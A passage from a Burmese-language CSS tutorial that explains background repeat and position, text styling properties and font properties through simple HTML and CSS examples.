ပုံပါမွာမဟုတ္ပါဘူး။repeat-y ဆိုတာကေတာ့ ေနာက္ခံပုံက ဘယ္၊ညာ တစ္ျခမ္းပဲပါမွာျဖစ္ပါတယ္။ဒီေနရာမွာ x နဲ႔ y
www.phoelapyae.com 23
23 ရာမညဖိုးလျပည့္
ဆိုတာက computer screen ကို coordinate system အရ x ၀င္ရုိး y ၀င္ရုိး ခြဲျခားျပီး horizontal / vertical
ပုံစံနဲ႔ေဖာ္ျပတာျဖစ္ပါတယ္။
no-repeat ကို အသုံးျပဳရင္ေတာ့ မိမိရဲ႕ပုံဟာ ေနာက္ခံအေနနဲ႔ေပၚမွာမဟုတ္ပဲ webpage ရဲ႕ဘယ္ဘက္အေပၚေထာင့္မွာ
တစ္ပုံတည္း တစ္ႀကိမ္သာေပၚမွာျဖစ္ပါတယ္။
ကဲ .. နမူနာေရးၾကည့္တာက ပုိ၇ွင္းပါတယ္ .. ၾကည့္ရေအာင္ ။
How to repeat a background image
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 24
24 ရာမညဖိုးလျပည့္
ဒါကေတာ့ အေပၚမွာ ေဆြးေႏြးၿပီးျဖစ္တဲ့အတိုင္း repeat က မိမိဓါတ္ပုံကို webpage မွာ tile
ပုံစံျဖင့္အျပည့္ေဖာ္ျပေစရန္အတြက္ျဖစ္ပါတယ္။
How to repeat a background image only horizontally
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat-x
www.phoelapyae.com 25
25 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body>
</body>
</html>
repeat-x ကေတာ့ ေနာက္ခံပုံကို အလ်ားလိုက္တစ္၀က္ပဲေဖာ္ျပျခင္းျဖစ္ပါတယ္။အေပၚတစ္ျခမ္းပဲပါျပီး
ေအာက္တစ္ျခမ္းကေတာ့ ပုံပါမွာမဟုတ္ပါဘူး။
www.phoelapyae.com 26
26 ရာမညဖိုးလျပည့္
How to repeat a background image only vertically
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat-y
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 27
27 ရာမညဖိုးလျပည့္
repeat-y ဆိုတာကေတာ့ ေနာက္ခံပုံက ဘယ္၊ညာ တစ္ျခမ္းပဲပါမွာျဖစ္ပါတယ္။ဒီေနရာမွာ x နဲ႔ y ဆိုတာက computer
screen ကို coordinate system အရ x ၀င္ရုိး y ၀င္ရုိး ခြဲျခားျပီး horizontal / vertical ပုံစံနဲ႔ေဖာ္ျပတာျဖစ္ပါတယ္။
How to display a background image only one time
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
www.phoelapyae.com 28
28 ရာမညဖိုးလျပည့္
background-repeat: no-repeat
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 29
29 ရာမညဖိုးလျပည့္
no-repeat ကို အသုံးျပဳရင္ေတာ့ မိမိရဲ႕ပုံဟာ ေနာက္ခံအေနနဲ႔ေပၚမွာမဟုတ္ပဲ webpage ရဲ႕ဘယ္ဘက္အေပၚေထာင့္မွာ
တစ္ပုံတည္း တစ္ႀကိမ္သာေပၚမွာျဖစ္ပါတယ္။
အခုဆုိရင္ background နဲ႕ ပက္သက္ၿပီး background-color, background-image, background-repeat တို႕
ကုိေကာင္းေကာင္းသေဘာေပါက္ေလာက္ၿပီးထင္ပါတယ္။ ေနာက္ထပ္ background အေနနဲ႕ က်န္တာက backgroundattachement
နဲ႕ background-position တို႕ ပဲ ျဖစ္ပါတယ္။
How to position a background image
ေနာက္ခံဓါတ္ပံုကို ေနရာခ်ရမွာ ေအာက္ပါအတိုင္းေရးေလ့ရွိပါတယ္။
body
{
background-position: top left;
top center;
top right;
center left;
center center;
center right;
bottom left;
bottom center;
bottom right;
x% y%
xpos ypos;
background-attachement: scroll;
fixed;
}
ဒီေနရာမွာ backgroun-position နဲ႕ ပက္သက္ၿပီး နမူနာ ကိုယ့္ဘာသာကိုယ္ေရးၾကည့္ပါ ။ ေရးျပေနရင္ စာမ်က္နွာ
ေဖာင္းပြသြားမွာပါ။ top left ဆို အေပၚဆံုးရဲ႕ ဘယ္ဘက္အစြန္ဆံုးေပါ့ ။ တစ္ခုပဲ ရွိတယ္ % နဲ႕ px ။ သူတို႕ကုိ
ဒီလိုေရးပါတယ္ ။
www.phoelapyae.com 30
30 ရာမညဖိုးလျပည့္
background-position: 30% 20%;
50px 100px;
အဲလိုေရးေလ့ရွိပါတယ္။ ဒီေနရာမွာ အတိုင္းအတာေတြကို center ကေနစယူတာၿပိးအရင္ အရင္ဆံုးက x ၀င္ရုိးျဖစ္ၿပီး
ေနာက္ဆံုးက y ၀င္ရုိးကိုျဖစ္ပါတယ္။ မိမိဘာသာနမူနာေရးၾကည့္ရင္ သေဘာေပါက္သြားပါလိမ့္မယ္။
CSS Text
အခုဆက္လက္ၿပီး Text အပိုင္းဆက္လက္ေလ့လာက်မယ္ …text အပိုင္းမွာ အေရာင္တို႕ ၊ စာလံုးတစ္လံုးနဲ႕ တစ္လံုး
အကြာအေ၀း စသျဖင့္ text နဲ႕ ဆိုင္တာေတြ အားလံုးကိုေဆြးေႏြးပါ့မယ္။ ရွင္းလင္းေအာင္ နမူေလးေတြနဲ႕ ျပမွ
မ်က္စိထဲျမင္မွာျဖစ္ပါတယ္။ တစ္ခုခ်င္းအေသးစိတ္ေလ့လာရေအာင္ …..
How to set the color of text
Web page ေတြမွာ စာသားေတြကုိ မိမိထည့္ခ်င္တဲ့ အေရာင္ထည့္ရေအာင္ …နမူနာၾကည့္တာ ပုိရွင္းပါတယ္..
<html>
<head><title>this is the title of the web page</title>
<style type="text/css">
h1 {color: #00ff00;}
h3 {color: #dda0dd;}
p {color: rgb(0,0,255);}
</style>
</head>
<body>
<h1>
This is a level 1 header
</h1>
www.phoelapyae.com 31
31 ရာမညဖိုးလျပည့္
<h3>
This is a level 3 header
</h3>
<p>
This is a paragraph
</p>
</body>
</html>
ဒီေနရာမွာ color တန္ဖိုးေတြျဖစ္တဲ့
color: green;
color: #ffffff;
color: rgb(0,0,255);
တို႕ ကုိ ကြ်န္ေတာ္ရွင္းျပၿပီးသားပါ ။ decimal ျဖစ္တဲ့ color: #ffffff မ်ိဳးကို ေအာက္ပါဆိုက္မွာ ကုတ္ေတြကုိ
ရွာနိုင္ပါတယ္။
Text Background Color
Webpage ေတြရဲ႕ စာသားအခ်ိဳ႕ ကုိ ကြ်န္ေတာ္တို႕ High Light အေနနဲ႕ လုပ္ခ်င္ရင္ ဒီလိုလုပ္လို႕ ရပါတယ္…
www.phoelapyae.com 32
32 ရာမညဖိုးလျပည့္
နမူနာၾကည့္လုိက္ပါ။
<html>
<head>
<style type="text/css">
body {background-color: black; color: red;}
p {text-align: center}
span.highlight
{
background-color:yellow
}
</style>
</head>
<body>
<p>
<span class="highlight">I Will Love You Forever</span><br><br>
I love you so deeply,<br>
I love you so much,<br>
I love the sound of your voice<br>
And the way that we touch.<br>
I love your warm smile<br>
And your kind, thoughtful way,<br>
www.phoelapyae.com 33
33 ရာမညဖိုးလျပည့္
The joy that you bring<br>
To my life every day.<br>
I love you today<br>
As I have from the start,<br>
<span class="highlight">And I'll love you forever<br>
With all of my heart.</span>
</p>
</body>
</html>
ဒီေနရာမွာ span.highlight ဆိုတဲ့ span class ကုိသံုးထားတာေတြ႕ ရပါမယ္။ အဲဒီ span ကုိလဲ အရင္ပို႕ စ္ေတြမွာ
ရွင္းျပၿပီးသားျဖစ္လို႕ ထပ္မရွင္းေတာ့ပါဘူး။ နားလည္မယ္လို႕ ထင္ပါတယ္။
www.phoelapyae.com 34
34 ရာမညဖိုးလျပည့္
Specify the space between characters
စာလံုးအစိပ္အက်ဲကုိ ဆက္ေလ့လာရေအာင္ ….. ဒီလိုေရးပါတယ္။
<style type=”text/css”>
h1 {letter-spacing: -3px}
h4 {letter-spacing: 0.5cm}
</style>
ဒီေနရာမွာ letter-spacing ရဲ႕ တန္ဖိုးကုိ px , cm တို႕ နဲ႕ ျပတာကုိေတြ႕ ရပါမယ္။ အဲဒီတန္ဖိုးေတြ သတ္မွတ္ခ်က္ကုိ
ေနာက္ပုိင္းေဆြးေႏြးမဲ့ font အပိုင္းမွာ ေဆြးေႏြးေပးပါ့မယ္။ကဲ .. နမူနာတစ္ခုေရးၾကည့္ရေအာင္ ….
<html>
<head>
<style type="text/css">
h1 {letter-spacing: -3px}
h4 {letter-spacing: 0.5cm}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h4>This is header 4</h4>
</body>
</html>
www.phoelapyae.com 35
35 ရာမညဖိုးလျပည့္
Specify the space between lines
စာလံုးအစိပ္အက်ဲၿပီးေတာ့ ဒီတစ္ခါ စာေၾကာင္းအစိပ္အက်ဲကုိ ေဆြးေႏြးပါ့မယ္ …သူ႕ကုိေရးေတာ့ ဒီလိုေလးပါ …
<style type=”text/css>
p.small {line-height: 90%}
p.big {line-height: 200%}
</style>
ဘယ္လိုသက္ေရာက္မႈ ရွိသလဲဆိုတာ ေအာက္မွာ စာပုဒ္သံုးပုဒ္နဲ႕ ရွင္းျပပါ့မယ္ …. ၾကည့္ရေအာင္ ..
<html>
<head>
<style type="text/css">
p.small {line-height: 90%}
p.big {line-height: 200%}
</style>
</head>
www.phoelapyae.com 36
36 ရာမညဖိုးလျပည့္
<body>
<p>
This is a paragraph with a standard line-height.
The default line height in most browsers is about 110% to 120%.
This is a paragraph with a standard line-height.
This is a paragraph with a standard line-height.
</p>
<p class="small">
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
</p>
<p class="big">
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
</p>
</body>
</html>
www.phoelapyae.com 37
37 ရာမညဖိုးလျပည့္
ေရးထားတာကို ၾကည့္ရင္ ရွင္းပါတယ္ ။ တန္ဖိုးဘယ္ေလာက္သတ္မွတ္ရင္ ဘယ္ေလာက္ ကြာျခားသလဲဆိုတာ ….
Text Align
ဒါကေတာ့ ထပ္ခါထပ္ခါေရးၿပီးသားဆိုေတာ့ အထူးတလည္ရွင္းျပစရာေတာင္မလုိပါဘူး .. နမူနာေရးၾကည့္မယ္..
<html>
<head>
<style type="text/css">
h1 {text-align: center}
h2 {text-align: left}
h3 {text-align: right}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h2>This is header 2</h2>
www.phoelapyae.com 38
38 ရာမညဖိုးလျပည့္
<h3>This is header 3</h3>
</body>
</html>
Decorate the text
Decorate ဆိုတာ စာသားေတြကုိ မ်ဥ္းသားခ်င္တာမ်ိဳး .. လင့္ေတြကို ေအာက္မွာ မ်ဥ္းေၾကာင္းမထည့္ခ်င္တာမ်ိဳး..
မွိတ္တုတ္မွိတ္တုတ္ေပၚတာမ်ိဳး လုပ္ေဆာင္နိုင္ပါတယ္ …ဘယ္လိုေရးနုိင္သလဲ ဆိုတာ ၾကည့္ရေအာင္ …
<style type=”text/css”>
h1 {text-decoration: underline}
</style>
အဲလိုမ်ိဳး text-decoration နဲ႕ ေရးပါတယ္ … သူရဲ႕ တန္ဖိုးအားလံုးကေတာ့ ….
www.phoelapyae.com 39
39 ရာမညဖိုးလျပည့္
text-decoration: overline;
text-decoration: underline;
text-decoration: line-through;
text-decoration: blink;
text-decoration: none;
ဒါဟာ text-decoration နဲ႕ ေရးလုိ႕ ရတဲ့တန္ဖိုး အကုန္ပါပဲ ။ ဒီေနရာမွာ overline ဟာ စာသားေပၚမွာ
မ်ဥ္းသားတာျဖစ္ၿပီး underline က်ေတာ့ စာသားေအာက္က မ်ဥ္းသားတာပါ။ line-through ကေတာ့ စာသားကုိ မ်ဥ္းနဲ႕
ျဖတ္ထားတာပါ။ blink ကေတာ့ စာသားကုိ မွိတ္တုတ္မွိတ္တုတ္ေဖာ္ျပေပးပါတယ္ … none ကေတာ့ ဘာ effect မွမပါ
စာသားသက္သက္ပါ … သာမာန္ text ရဲ႕ default ကေတာ့ none ပါ။ ဒီေတာ့ မ်က္စိထင္ျမင္သြားေအာင္ ေအာက္က
ဥပမာေရးထားတာေလးကုိ ၾကည့္ၾကည့္လိုက္ပါ။
<html>
<head>
<style type="text/css">
h1 {text-decoration: underline}
h2 {text-decoration: overline}
h3 {text-decoration: line-through}
a {text-decoration: blink}
p {text-decoration: none; font-family: Zawgyi-one}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h2>This is header 2</h2>
www.phoelapyae.com 40
40 ရာမညဖိုးလျပည့္
<h3>This is header 3</h3>
<p><a
href="http://www.phoepyae.co.cc">ရာမညဖိုးလျပည့္ဘေလာ့မွ…</a><br><br>
လႈိုက္လွဲစြာ ၾကိဳဆိုပါ၏ ...</p>
</body>
</html>
ရာမညဖိုးလျပည့္ဘေလာ့မွ .. ဆိုတဲ့ စာသားက မွိတ္တုတ္မွိတ္တုတ္ျဖစ္ေနမွာပါ … ဒီေနရာမွာ ဓါတ္ပံုျဖစ္လို႕
ရုပ္ေသႀကီးျဖစ္ေနတာပါ ။
www.phoelapyae.com 41
41 ရာမညဖိုးလျပည့္
Indent Text
စာပုဒ္ေရးလို႕ ရွိရင္ ပထမစာေၾကာင္းကုိ မာဂ်င္ကေန ေနရာအနည္းငယ္ခ်န္ၿပီးေရးေလ့ရွိပါတယ္ .. ဒါမ်ိဳးဆိုရင္ indent
style နဲ႕ ေရးလို႕ ရပါတယ္ .. သူ႕ ရဲ႕ ေရးတဲ့ပံုစံေလးကေတာ့ ….
<style>
P {text-indent: 2cm}
</style>
သူ႕ ရဲ႕ properties ေတြက
text-indent: length;
%;
တို႕နဲ႕ ေဖာ္ျပေလ့ရွိပါတယ္ …..ဒီေနရာမွာ px , em , % တို႕ နဲ႕ ေဖာ္ျပနိုင္ပါတယ္ ….. သူတို႕ ရဲ႕ အတိုင္းအတာေတြကုိ 1
px မွာ em ဘယ္ေလာက္၊ % ဘယ္ေလာက္ ဆိုတာခန္႕ မွန္းလို႕ ရေအာင္ ေအာက္မွာ ေဖာ္ျပလုိက္ပါတယ္ .. ဒီေနရာမွာ
em -- > the ‘font-size’ of the relevant font
ex -- >the ‘x-height’ of the relevant font
px -- >pixels, relative to the viewing device
ျဖစ္ပါတယ္….. သူတို႕ ရဲ႕ အဓိပၸါယ္ဖြင့္ဆိုခ်က္ေတြကုိ ေအာက္ကလင့္မွာ အေသးစိတ္ေလ့လာနုိင္ပါတယ္ …
http://www.bigbaer.com/css_tutorials/css_font_size.htm
http://www.w3.org/TR/REC-CSS2/syndata.html#length-units
http://www.explainth.at/en/css/units.shtml
www.phoelapyae.com 42
42 ရာမညဖိုးလျပည့္
ဒါကေတာ့ em ,px , % . ex တို႕ ရဲ႕ နွိုဳင္းယွဥ္ခ်က္ေတြပါ …
www.phoelapyae.com 43
43 ရာမညဖိုးလျပည့္
ပုိရွင္းေအာင္ နမူနာတစ္ခုၾကည့္လုိက္ပါ …
<html>
<head>
<style type="text/css">
body {background-color: black; color: white;}
p {text-indent: 1cm; font-family: Zawgyi-one;}
</style>
</head>
<body>
<p>
ကြ်န္ေတာ္ကေတာ့ ရာမညဖိုးလျပည့္ပါ ။ ရာမညဆိုေတာ့ မြန္ကလား ? ဟုတ္ပါတယ္ ။ ကြ်န္ေတာ္ ေမာ္လၿမိဳင္ဇာတိပါ
။ကြ်န္ေတာ္ကေတာ့ 2005 မွာ BE ( Electronic ) နဲ႕ ေက်ာင္းၿပီးပါတယ္ ။ ေက်ာင္းၿပီးကတည္းက အီလက္ထရြန္းနဲ႕
အလွမ္းေ၀းေနတာပါ ။ ဟိုစပ္စပ္ သည္စပ္စပ္ အားႀကီး လုပ္တယ္ ။ တစ္ခုမွ ေကာင္းေကာင္းကန္းကန္း မသိဘူး ။
ေမြးရာပါ အားနည္းခ်က္တစ္ခုကေတာ့ ရုပ္ေခ်ာ၊ သေဘာေကာင္း ပါ။
</p>
</body>
</html>
www.phoelapyae.com 44
44 ရာမညဖိုးလျပည့္
Control the letters in a text
ဒါကေတာ့ စာလံုးေတြကုိ Uppercase , Lowercase , စာလံုးအႀကီး ေျပာင္းတာေတြလုပ္ရင္ text-transform ဆိုတဲ့ style
tag ကိုအသံုျပဳပါတယ္… ေရးပံုကေတာ့ ..
<style>
p.uppercase {text-transform: uppercase}
p.lowercase {text-transform: lowercase}
p.capitalize {text-transform: capitalize}
</style>
နမူနာကိုေတာ့ ေရးမျပေတာ့ပါဘူး … uppercase ဆို စာလံုးအႀကီးေပါ့ .. class selector ကရွင္းျပၿပီးသားပါ .. ဒါေၾကာင့္
p.uppercase ဆိုတာလဲ သေဘာေပါက္မယ္ထင္ပါတယ္ ....
www.phoelapyae.com 45
45 ရာမညဖိုးလျပည့္
Set the text direction of an element
ဒါကေတာ့ စာသားေတြကုိ ဘယ္ဘက္ကေနပဲစေရးခ်င္တာမ်ိဳး၊ ဒါမွမဟုတ္ ညာဘက္ကေနပဲ စေရးခ်င္တဲ့ေနရာမ်ိဳးမွာ
အသံုးျပဳပါတယ္…ေရးနည္းထံုးစံကေတာ့
<style>
div.one {direction: rtl}
div.two {direction: ltr}
</style>
အဲလိုပါ …. ဒီေနရာမွာ div class ကုိရွင္းျပစရာမလိုေတာ့ဘူးလို႕ ထင္ပါတယ္ .. မိမိကိုယ္တိုင္သာေရးၾကည့္လိုက္ပါ …
Word-spacing Property
ဒါကေတာ့ စာလံုးတစ္လံုးေနရာျခားခ်င္ရင္ အသံုးျပဳတာပါ …. ေရးတာကေတာ့ ဒီလိုေလးပါ ..
<html>
<head>
<style type="text/css">
p
{
word-spacing: 30px
}
</style>
</head>
<body>
<p>
This is some text. This is some text.
www.phoelapyae.com 46
46 ရာမညဖိုးလျပည့္
</p>
</body>
</html>
ဒါဟာဆိုရင္ စာပိုဒ္မွာရွိတဲ့ စာလံုးတစ္လံုးန႕ဲ တစ္လံုးကုိ 30px ျခားေပးမွာျဖစ္ပါတယ္ .. px ဆိုတာဘာဆိုလိုတာဆိုတာ
ကြ်န္ေတာ္အေပၚမွာ ရွင္းျပၿပီးသားပါ ….
White-space Property in Text
နမူနာတစ္ခု ၾကည့္လုိက္ပါ .. ျပန္ေျပာျပဖို႕ ေတာ္ေတာ္ခက္လိမ့္မယ္ ျဖစ္ေနလို႕ ပါ …
<html>
<head><title>white-space Demonstration</title>
<style type="text/css">
p.normal
{
white-space:normal;
}
p.pre
{
white-space:pre;
}
p.nowrap
{
www.phoelapyae.com 47
47 ရာမညဖိုးလျပည့္
white-space:nowrap;
}
</style>
</head>
<body>
<h1><p>white-space demonstration</p></h1>
<p class="normal">This is the normal value for the white-space property. This is
the normal value for the white-space property. This is the normal value for the
white-space property. This is the normal value for the white-space
property.</p><br/>
<p class="pre">This is the pre value for the white-space
property.</p><br/>
<p class="nowrap">This is the nowrap value for the white-space property. This
is the nowrap value for the white-space property. This is the nowrap value for
the white-space property. This is the nowrap value for the white-space
property.</p>
www.phoelapyae.com 48
48 ရာမညဖိုးလျပည့္
</body>
</html>
ဒီေနရာမွာ
p.normal {white-space: normal} ဆိုတာက စာသားေတြကုိ အဆံုးထိေရာက္ရင္ ေအာက္တစ္ေၾကာင္းကူးသြားတာပါ ။
wrap ဆိုတဲ့ အတုိင္း စာသားေတြကို ေဘာင္အတြင္းမွာထည့္သြင္းေဖာ္ျပတာပါ ..… သူကေတာ့ white-space တန္ဖိုးရဲ႕
default တန္ဖိုးပါပဲ … notepad မွာပါတဲ့ Word Wrap လိုေပါ့ …
p.nowrap {white-space: nowrap} ကေတာ့ nowrap ဆိုတဲ့အတုိင္း ေနာက္တစ္ေၾကာင္းမဆင္းမခ်င္း စာသားေတြက
ေဘာင္ေက်ာ္ၿပီးဆက္သြားေနမွာပဲ …. ေနာက္တစ္ေၾကာင္းဆင္းမွ <br> tag သံုးမွသာ ဆင္းမွာပါ …
p.pre {white-space: pre} ကေတာ့ HTML tag မွာပါတဲ့ <pre> နဲ႕ တူပါတယ္ .. သူက စာတစ္ေၾကာင္းနဲ႕
တစ္ေၾကာင္းကုိ ျခားေပးတာပါ …
CSS Font
အခုဆိုရင္ ကြ်န္ေတာ္ေဆြးေႏြးခဲ့တာဟာ
CSS ေရးထံုးေရးနည္း ၊
www.phoelapyae.com 49
49 ရာမညဖိုးလျပည့္
CSS ကုိ webpage မွာ apply လုပ္နည္း၊
ေနာက္ခံ အေရာင္၊ ပံုထည့္ျခင္း၊
စာသားေရးျခင္း အမ်ိဳးမ်ိဳး တို႕ ကို ေဆြးေႏြးၿပီး ျဖစ္ပါတယ္ …
အခုဆက္လက္ၿပီး Font အပိုင္းကို ဆက္လက္ေဆြးေႏြးပ့ါမယ္ ….
CSS Font မွာ စာလံုးဆိုက္ ၊ အေရာင္ ၊ စတိုင္ စသျဖင့္ မ်ားစြာေျပာင္းလဲနိုင္ပါတယ္ … သူ႕ ရဲ႕ property ေတြကေတာ့
font-style
font-family
font-size
font-size-adjust
font-stretch
font-variant
font-weight တို႕ ျဖစ္က်ပါတယ္ …
Font Color
ပထမဦးဆံုး ဖြန္႕ ကာလာကုိ အရင္ဆံုးလုပ္ၾကည့္ရေအာင္ ..
h4 {color: red}
h5 {color: #9000A1}
h6 {color: rgb(0,220,98)}
www.phoelapyae.com 50
50 ရာမညဖိုးလျပည့္
ဒါကေတာ့ အေထြအထူး ရွင္းျပစရာမလုိဘူးထင္ပါတယ္ …. အေရာင္ထည့္တာက ရွင္းျပၿပီးသားပါ ..
CSS font family
Web page ေတြကုိ မိမိစိတ္ႀကိဳက္ font ေတြနဲ႕ သတ္မွတ္ခ်င္ရင္ သံုးနုိင္ပါတယ္ …ေရးသားပံုကေတာ့ ..
font-family: Arial;
တကယ္လို႕ ဖြန္႕ တစ္မ်ိဳးထက္ပိုလာရင္ ေကာ္မာ ခံေရးပါတယ္ ..
font-family: Zawgyi-one, Arial, Pussycat;
ေနာက္တစ္ခုက ဖြန္႕ နာမည္က စာလံုး တစ္လံုးထက္ပုိရင္ရင္ အဖြင့္အပိတ္ နဲ႕ ေရးပါတယ္..
font-family: Zawgyi-one, Arial, “ludida console”,sans-serif;
ps: font-family တြင္ အရင္ဆံုးလာေသာဖြန္႕ မွစ၍ ဖြန္႕ အားလံုးကုိ format ခ်ပါသည္ …
အေပၚကေရးထားေသာ style တြင္ Zawgyi-one ကိုအရင္ဆံုး format ခ်ပါတယ္ .. မရွိမွ ေနာက္ဒုတိယျဖစ္တဲ့ Arial ကုိ
format ခ်ပါတယ္…
<style>
p
{
font-family: Zawgyi-one, Arial;
color: red;
}
</style>
ဒါဟာဆိုရင္ စာပုဒ္တစ္ခုလံုးက ဖြန္႕ ေဇာ္ဂ်ီျဖစ္ၿပီး စာသားအေရာင္က အနီေရာင္ အျဖစ္ format ခ်ေပးမွာ ျဖစ္ပါတယ္ ….
Font-size
စာလံုးဆိုက္သတ္မွတ္ခ်င္ရင္သံုးတာပါ ….. property ေတြကေတာ့ေအာက္ပါအတိုင္းပါ ..
www.phoelapyae.com 51
51 ရာမညဖိုးလျပည့္
xx-small
x-small
small
medium
large
x-large
xx-large
smaller
larger
length
%
ေရးသားပံုကေတာ့ …
<style>
font-size: xx-small;
</style>
စသျဖင့္ အဲလုိမ်ိဳး ေရးသားပါတယ္ … သူရဲ႕ ဖြန္႕ တန္ဖိုးသတ္မွတ္ခ်က္ေတြကေတာ့ ေအာက္ကလင့္မွာ
ဖတ္ၾကည့္စမ္းသပ္နုိင္ပါတယ္ …
http://htmlhelp.com/reference/css/font/font-size.html
http://www.fonttester.com/
xx-small ဆိုရင္ ဘယ္လိုဆိုက္၊ medium ဆိုရင္ ဘယ္လိုဆိုက္ စသျဖင့္ ေလ့လာၾကည္ပါ ….
http://www.w3.org/TR/REC-CSS2/fonts.html#propdef-font-size ဒါကေတာ့ ဖြန္႕ ဆိုက္သတ္မွတ္ခ်က္ပါ …
Font Size Adjust
တကယ္လို႕ မိမိစိတ္ႀကိဳက ္ ဖြန္႕ ဆိုက္ကို ထည့္ခ်င္တယ္ဆိုရင ္ number ေတြန႕ဲ ေရးလို႕ ရပါတယ ္ …
<style>
www.phoelapyae.com 52
52 ရာမညဖိုးလျပည့္
font-size-adjust: 0.50;
</style>
မိမိစိတ္ႀကိဳက္ ဖြန္႕ Length သတ္မွတ္ခ်င္းကုိလဲ ရွင္းျပၿပီးသားပါ … em, ex, px တို႕ နဲ႕ ေရးနုိင္ပါတယ္ ..
http://www.w3.org/TR/REC-CSS2/syndata.html#length-units
ျပန္ေလ့လာၾကည့္ပါ …
Font style
Font style ကေတာ့ သံုးမ်ိဳးရွိပါတယ္ ….. normal , italic , oblique ဆိုၿပီး .. ေရးသားပံုကေတာ့ ..
<style type="text/css">
h1 {font-style: italic}
h2 {font-style: normal}
p {font-style: oblique}
</style>
Output ကုိထုတ္ၾကည့္ပါက ဘယ္လို result ထြက္လဲဆိုတာ ၾကည့္ၿပီး သိနုိင္ပါတယ္ ... က်န္တာကိုေတာ့
ထပ္အေသးစိတ္မေဆြးေႏြးေတာ့ပါဘူး ... Font အပုိင္းကို ဒီေလာက္ပဲေဆြးေႏြးပါ့မယ္ .. လြယ္ပါတယ္ ...